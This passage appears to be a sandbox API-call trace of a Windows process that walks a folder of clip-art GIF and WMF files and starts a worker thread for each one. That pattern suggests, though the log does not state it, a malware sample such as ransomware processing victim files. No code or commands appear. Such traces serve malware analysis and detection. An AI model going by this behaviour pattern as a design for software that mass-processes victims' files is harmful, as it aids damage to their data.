	[0232.736] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.737] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1
	[0232.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8
	[0232.740] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.740] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1
	[0232.740] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfdc
	[0232.743] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.743] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1
	[0232.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0
	[0232.745] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.746] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1
	[0232.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4
	[0232.750] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.751] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1
	[0232.751] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8
	[0232.753] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.754] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1
	[0232.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfec
	[0232.756] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.757] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1
	[0232.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff0
	[0232.759] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.760] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1
	[0232.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff4
	[0232.763] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.763] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1
	[0232.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff8
	[0232.766] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.766] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1
	[0232.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xffc
	[0232.825] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.826] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1
	[0232.826] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1004
	[0232.828] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.829] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1
	[0232.829] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1008
	[0232.831] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.832] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1
	[0232.832] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100c
	[0232.834] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.834] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1
	[0232.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1010
	[0232.836] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.837] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1
	[0232.841] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1014
	[0232.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.844] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1
	[0232.845] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1018
	[0232.846] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.847] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1
	[0232.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x101c
	[0232.849] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.850] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1
	[0232.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020
	[0232.853] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.853] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1
	[0232.853] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024
	[0232.855] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.856] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1
	[0232.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028
	[0232.858] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1
	[0232.859] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c
	[0232.885] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.886] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1
	[0232.886] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1030
	[0232.888] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.890] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1
	[0232.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1034
	[0232.892] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.893] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1
	[0232.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038
	[0232.895] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.896] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1
	[0232.896] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c
	[0232.898] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.899] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1
	[0232.899] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040
	[0232.901] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.901] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1
	[0232.901] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
